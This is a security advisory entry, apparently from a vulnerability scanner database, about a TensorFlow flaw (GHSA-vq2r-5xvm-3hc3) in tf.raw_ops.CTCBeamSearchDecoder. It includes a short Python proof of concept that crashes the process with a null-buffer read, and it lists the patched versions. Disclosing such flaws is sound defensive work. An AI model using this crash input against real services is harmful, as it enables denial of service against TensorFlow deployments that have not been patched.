QID 982471
QID 982471: Python (pip) Security Update for tensorflow-gpu (GHSA-vq2r-5xvm-3hc3)
Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True
tf.raw_ops.CTCBeamSearchDecoder(
inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
top_paths=top_paths, merge_repeated=merge_repeated)
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7/tensorflow/core/kernels/ctc_decoder_ops.cc#L68-L79) fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- GHSA-vq2r-5xvm-3hc3 -
github.com/advisories/GHSA-vq2r-5xvm-3hc3
CVEs related to QID 982471
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-vq2r-5xvm-3hc3 | tensorflow |
|
|
| GHSA-vq2r-5xvm-3hc3 | tensorflow-cpu |
|
|
| GHSA-vq2r-5xvm-3hc3 | tensorflow-gpu |
|